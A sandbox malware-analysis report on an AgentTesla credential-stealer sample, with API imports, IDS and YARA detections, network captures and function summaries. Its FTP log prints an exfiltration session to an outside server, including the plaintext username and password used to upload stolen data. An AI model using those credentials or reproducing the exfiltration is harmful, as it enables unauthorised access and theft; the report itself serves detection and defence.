PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:14:14.333699+0100	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.8	49706	195.252.110.253	21	TCP
2025-01-11T03:14:14.918373+0100	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.8	49707	195.252.110.253	60535	TCP
2025-01-11T03:14:14.925192+0100	1800009	Joe Security MALWARE AgentTesla - FTP Exfil Passwords	1	192.168.2.8	49707	195.252.110.253	60535	TCP
2025-01-11T03:14:14.925192+0100	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.8	49707	195.252.110.253	60535	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:14:10.983336926 CET	49705	80	192.168.2.8	208.95.112.1
Jan 11, 2025 03:14:10.990780115 CET	80	49705	208.95.112.1	192.168.2.8
Jan 11, 2025 03:14:10.991024017 CET	49705	80	192.168.2.8	208.95.112.1
Jan 11, 2025 03:14:11.025928020 CET	49705	80	192.168.2.8	208.95.112.1
Jan 11, 2025 03:14:11.033476114 CET	80	49705	208.95.112.1	192.168.2.8
Jan 11, 2025 03:14:11.446751118 CET	80	49705	208.95.112.1	192.168.2.8
Jan 11, 2025 03:14:11.487632990 CET	49705	80	192.168.2.8	208.95.112.1
Jan 11, 2025 03:14:12.386282921 CET	49706	21	192.168.2.8	195.252.110.253
Jan 11, 2025 03:14:12.391218901 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:12.391288042 CET	49706	21	192.168.2.8	195.252.110.253
Jan 11, 2025 03:14:12.988450050 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:12.988868952 CET	49706	21	192.168.2.8	195.252.110.253
Jan 11, 2025 03:14:12.993742943 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:13.193043947 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:13.193209887 CET	49706	21	192.168.2.8	195.252.110.253
Jan 11, 2025 03:14:13.198050976 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:13.491523981 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:13.491720915 CET	49706	21	192.168.2.8	195.252.110.253
Jan 11, 2025 03:14:13.496666908 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:13.700617075 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:13.702918053 CET	49706	21	192.168.2.8	195.252.110.253
Jan 11, 2025 03:14:13.710906029 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:13.917865038 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:13.919226885 CET	49706	21	192.168.2.8	195.252.110.253
Jan 11, 2025 03:14:13.924288034 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:14.123382092 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:14.123550892 CET	49706	21	192.168.2.8	195.252.110.253
Jan 11, 2025 03:14:14.128498077 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:14.327687979 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:14.328454018 CET	49707	60535	192.168.2.8	195.252.110.253
Jan 11, 2025 03:14:14.333481073 CET	60535	49707	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:14.333585024 CET	49707	60535	192.168.2.8	195.252.110.253
Jan 11, 2025 03:14:14.333698988 CET	49706	21	192.168.2.8	195.252.110.253
Jan 11, 2025 03:14:14.338587999 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:14.918122053 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:14.918373108 CET	49707	60535	192.168.2.8	195.252.110.253
Jan 11, 2025 03:14:14.918428898 CET	49707	60535	192.168.2.8	195.252.110.253
Jan 11, 2025 03:14:14.924834967 CET	60535	49707	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:14.925141096 CET	60535	49707	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:14.925192118 CET	49707	60535	192.168.2.8	195.252.110.253
Jan 11, 2025 03:14:14.971962929 CET	49706	21	192.168.2.8	195.252.110.253
Jan 11, 2025 03:14:15.128542900 CET	21	49706	195.252.110.253	192.168.2.8
Jan 11, 2025 03:14:15.175170898 CET	49706	21	192.168.2.8	195.252.110.253
Jan 11, 2025 03:15:02.316075087 CET	49705	80	192.168.2.8	208.95.112.1
Jan 11, 2025 03:15:02.321260929 CET	80	49705	208.95.112.1	192.168.2.8
Jan 11, 2025 03:15:02.321331024 CET	49705	80	192.168.2.8	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:14:10.968789101 CET	55596	53	192.168.2.8	1.1.1.1
Jan 11, 2025 03:14:10.978627920 CET	53	55596	1.1.1.1	192.168.2.8
Jan 11, 2025 03:14:12.308377028 CET	64461	53	192.168.2.8	1.1.1.1
Jan 11, 2025 03:14:12.385437012 CET	53	64461	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:14:10.968789101 CET	192.168.2.8	1.1.1.1	0x8c7d	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:14:12.308377028 CET	192.168.2.8	1.1.1.1	0x9061	Standard query (0)	ftp.jeepcommerce.rs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:14:10.978627920 CET	1.1.1.1	192.168.2.8	0x8c7d	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:14:12.385437012 CET	1.1.1.1	192.168.2.8	0x9061	No error (0)	ftp.jeepcommerce.rs		195.252.110.253	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	208.95.112.1	80	7884	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:14:11.025928020 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jan 11, 2025 03:14:11.446751118 CET	175	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 02:14:10 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jan 11, 2025 03:14:12.988450050 CET	21	49706	195.252.110.253	192.168.2.8	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 03:14. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 03:14. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 03:14. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 03:14. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Jan 11, 2025 03:14:12.988868952 CET	49706	21	192.168.2.8	195.252.110.253	USER w133y@jeepcommerce.rs
Jan 11, 2025 03:14:13.193043947 CET	21	49706	195.252.110.253	192.168.2.8	331 User w133y@jeepcommerce.rs OK. Password required
Jan 11, 2025 03:14:13.193209887 CET	49706	21	192.168.2.8	195.252.110.253	PASS Q6]7rLSD*gU2
Jan 11, 2025 03:14:13.491523981 CET	21	49706	195.252.110.253	192.168.2.8	230 OK. Current restricted directory is /
Jan 11, 2025 03:14:13.700617075 CET	21	49706	195.252.110.253	192.168.2.8	504 Unknown command
Jan 11, 2025 03:14:13.702918053 CET	49706	21	192.168.2.8	195.252.110.253	PWD
Jan 11, 2025 03:14:13.917865038 CET	21	49706	195.252.110.253	192.168.2.8	257 "/" is your current location
Jan 11, 2025 03:14:13.919226885 CET	49706	21	192.168.2.8	195.252.110.253	TYPE I
Jan 11, 2025 03:14:14.123382092 CET	21	49706	195.252.110.253	192.168.2.8	200 TYPE is now 8-bit binary
Jan 11, 2025 03:14:14.123550892 CET	49706	21	192.168.2.8	195.252.110.253	PASV
Jan 11, 2025 03:14:14.327687979 CET	21	49706	195.252.110.253	192.168.2.8	227 Entering Passive Mode (195,252,110,253,236,119)
Jan 11, 2025 03:14:14.333698988 CET	49706	21	192.168.2.8	195.252.110.253	STOR PW_user-830021_2025_01_10_21_14_11.html
Jan 11, 2025 03:14:14.918122053 CET	21	49706	195.252.110.253	192.168.2.8	150 Accepted data connection
Jan 11, 2025 03:14:15.128542900 CET	21	49706	195.252.110.253	192.168.2.8	226-File successfully transferred 226-File successfully transferred226 0.211 seconds (measured here), 1.48 Kbytes per second

Target ID:	0
Start time:	21:14:04
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\J8V6dFanEo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\J8V6dFanEo.exe"
Imagebase:	0xec0000
File size:	1'084'416 bytes
MD5 hash:	11859BCB5A4F2DA18932F19A39F71B88
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AgentTeslaV2, Description: AgenetTesla Type 2 Keylogger payload, Source: 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:14:08
Start date:	10/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\J8V6dFanEo.exe"
Imagebase:	0x80000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.3895417120.0000000002471000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.3895417120.0000000002471000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.3895417120.000000000249E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.3894308311.0000000000152000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.3894308311.0000000000152000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	7.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	168

Executed Functions

Function 00EC3B3A Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00EC3B68
IsDebuggerPresent.KERNEL32 ref: 00EC3B7A
GetFullPathNameW.KERNEL32(00007FFF,?,?,00F852F8,00F852E0,?,?), ref: 00EC3BEB

Part of subcall function 00EC7BCC: _memmove.LIBCMT ref: 00EC7C06

Part of subcall function 00ED092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00EC3C14,00F852F8,?,?,?), ref: 00ED096E

SetCurrentDirectoryW.KERNEL32(?), ref: 00EC3C6F
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00F77770,00000010), ref: 00EFD281
SetCurrentDirectoryW.KERNEL32(?,00F852F8,?,?,?), ref: 00EFD2B9
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00F74260,00F852F8,?,?,?), ref: 00EFD33F
ShellExecuteW.SHELL32(00000000,?,?), ref: 00EFD346

Part of subcall function 00EC3A46: GetSysColorBrush.USER32(0000000F), ref: 00EC3A50
Part of subcall function 00EC3A46: LoadCursorW.USER32(00000000,00007F00), ref: 00EC3A5F
Part of subcall function 00EC3A46: LoadIconW.USER32(00000063), ref: 00EC3A76
Part of subcall function 00EC3A46: LoadIconW.USER32(000000A4), ref: 00EC3A88
Part of subcall function 00EC3A46: LoadIconW.USER32(000000A2), ref: 00EC3A9A
Part of subcall function 00EC3A46: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00EC3AC0
Part of subcall function 00EC3A46: RegisterClassExW.USER32(?), ref: 00EC3B16

Part of subcall function 00EC39D5: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00EC3A03
Part of subcall function 00EC39D5: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00EC3A24
Part of subcall function 00EC39D5: ShowWindow.USER32(00000000,?,?), ref: 00EC3A38
Part of subcall function 00EC39D5: ShowWindow.USER32(00000000,?,?), ref: 00EC3A41

Part of subcall function 00EC434A: _memset.LIBCMT ref: 00EC4370
Part of subcall function 00EC434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00EC4415

Strings

This is a third-party compiled AutoIt script., xrefs: 00EFD279
runas, xrefs: 00EFD33A

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 529118366-3287110873
Opcode ID: 43c60d3346f3a229061abd3cbfd0521645c4f42235e044f179df1a9c52637c38
Instruction ID: f27fd2d88cad26e00998f931eeed6af383a158d732cba1ed2d8d9fd3fde32b99
Opcode Fuzzy Hash: 43c60d3346f3a229061abd3cbfd0521645c4f42235e044f179df1a9c52637c38
Instruction Fuzzy Hash: 9151F67090820CABDF11EBB4DD05FFDBBB5AB55B14F00906DF855B21A2CA728607EB21

Function 00EC49A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00EC49CD

Part of subcall function 00EC7BCC: _memmove.LIBCMT ref: 00EC7C06

GetCurrentProcess.KERNEL32(?,00F4FAEC,00000000,00000000,?), ref: 00EC4A9A
IsWow64Process.KERNEL32(00000000), ref: 00EC4AA1
GetNativeSystemInfo.KERNELBASE(00000000), ref: 00EC4AE7
FreeLibrary.KERNEL32(00000000), ref: 00EC4AF2
GetSystemInfo.KERNEL32(00000000), ref: 00EC4B23
GetSystemInfo.KERNEL32(00000000), ref: 00EC4B2F

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 75cfc2db4825a4984b24c68e2739e32ab2e0817e3c9d7a8faa0128ee43bb33de
Instruction ID: c9dcbc0e8926f759767dd0f6ac81d02ca1351e863394d2cab54eec9013b087c6
Opcode Fuzzy Hash: 75cfc2db4825a4984b24c68e2739e32ab2e0817e3c9d7a8faa0128ee43bb33de
Instruction Fuzzy Hash: 0091397188D7C4CEC731DB7885606AAFFF5AF3A304B08595ED0CBA3A81D221E909D759

Function 00EC4E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00EC4D8E,?,?,00000000,00000000), ref: 00EC4E99
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00EC4D8E,?,?,00000000,00000000), ref: 00EC4EB0
LoadResource.KERNEL32(?,00000000,?,?,00EC4D8E,?,?,00000000,00000000,?,?,?,?,?,?,00EC4E2F), ref: 00EFD937
SizeofResource.KERNEL32(?,00000000,?,?,00EC4D8E,?,?,00000000,00000000,?,?,?,?,?,?,00EC4E2F), ref: 00EFD94C
LockResource.KERNEL32(00EC4D8E,?,?,00EC4D8E,?,?,00000000,00000000,?,?,?,?,?,?,00EC4E2F,00000000), ref: 00EFD95F

Strings

SCRIPT, xrefs: 00EC4EA6

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: a2987b44895a5511a69bdf8dd8fb3745b416b63a276c54acd8af695b0e88633b
Instruction ID: cfa42535cce34def98912d9d4d51763349a513011992de37dbcba55c106f2599
Opcode Fuzzy Hash: a2987b44895a5511a69bdf8dd8fb3745b416b63a276c54acd8af695b0e88633b
Instruction Fuzzy Hash: 11115EB5240704BFD7218B65EC48F677BBAFBC5B11F10426CF9099A290DBA2E8059660

Function 00ECFCE0 Relevance: 5.5, APIs: 3, Instructions: 1040COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: 43f7a334c785409643cafa0bb5b10d880a00a237a709debbe94bfe1e4733d880
Instruction ID: 869ce9a3fd146dc4cf45c08509f715501fabe5bd2e65d98143d126f3114da8fb
Opcode Fuzzy Hash: 43f7a334c785409643cafa0bb5b10d880a00a237a709debbe94bfe1e4733d880
Instruction Fuzzy Hash: 9992AE706083418FD720DF14C580B6AB7E1FF85314F18982DE99AAB3A2D771EC46DB92

Function 00F2445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00EFE398), ref: 00F2446A
FindFirstFileW.KERNELBASE(?,?), ref: 00F2447B
FindClose.KERNEL32(00000000), ref: 00F2448B

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: e7211496436267a10a7ed2670f989b1a4a2b6961b46ea2865b6963ae97ce8589
Instruction ID: 98b9fc460e058a125a0eec543a91d7bb86edb48a5be83d6e434d61fd322fc6be
Opcode Fuzzy Hash: e7211496436267a10a7ed2670f989b1a4a2b6961b46ea2865b6963ae97ce8589
Instruction Fuzzy Hash: BBE0D8378109146B4210BB38FC0D4EA775C9E16335F100716FD39C10D0E7F46904B595

Function 00ECE6A0 Relevance: 2.4, Strings: 1, Instructions: 1102COMMON

Download Yara Rule

Strings

Variable must be of type 'Object'., xrefs: 00F03E62

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID: Variable must be of type 'Object'.
API String ID: 0-109567571
Opcode ID: af12c1cb678ad0aa9660ac7dc3ddfd7f52bf9f3f66493e8e0ec9d8a702a8818f
Instruction ID: e0ce0f9ee3775f611dca1fed1c976b70c615fec6d2583bfca774248b4df8f49c
Opcode Fuzzy Hash: af12c1cb678ad0aa9660ac7dc3ddfd7f52bf9f3f66493e8e0ec9d8a702a8818f
Instruction Fuzzy Hash: 07A26975A00209CFCB24CF54CA80FAEB7B6FB59314F28906DE905AB351D776AD42DB90

Function 00ED09D0 Relevance: 57.3, APIs: 27, Strings: 5, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00ED0A5B
timeGetTime.WINMM ref: 00ED0D16
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00ED0E53
Sleep.KERNEL32(0000000A), ref: 00ED0E61
LockWindowUpdate.USER32(00000000,?,?), ref: 00ED0EFA
DestroyWindow.USER32 ref: 00ED0F06
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00ED0F20
Sleep.KERNEL32(0000000A,?,?), ref: 00F04E83
TranslateMessage.USER32(?), ref: 00F05C60
DispatchMessageW.USER32(?), ref: 00F05C6E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00F05C82

Strings

@GUI_WINHANDLE, xrefs: 00F04F8F
@COM_EVENTOBJ, xrefs: 00F054F0
@TRAY_ID, xrefs: 00F0578F
@GUI_CTRLHANDLE, xrefs: 00F04FE4
@GUI_CTRLID, xrefs: 00F04F3A

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

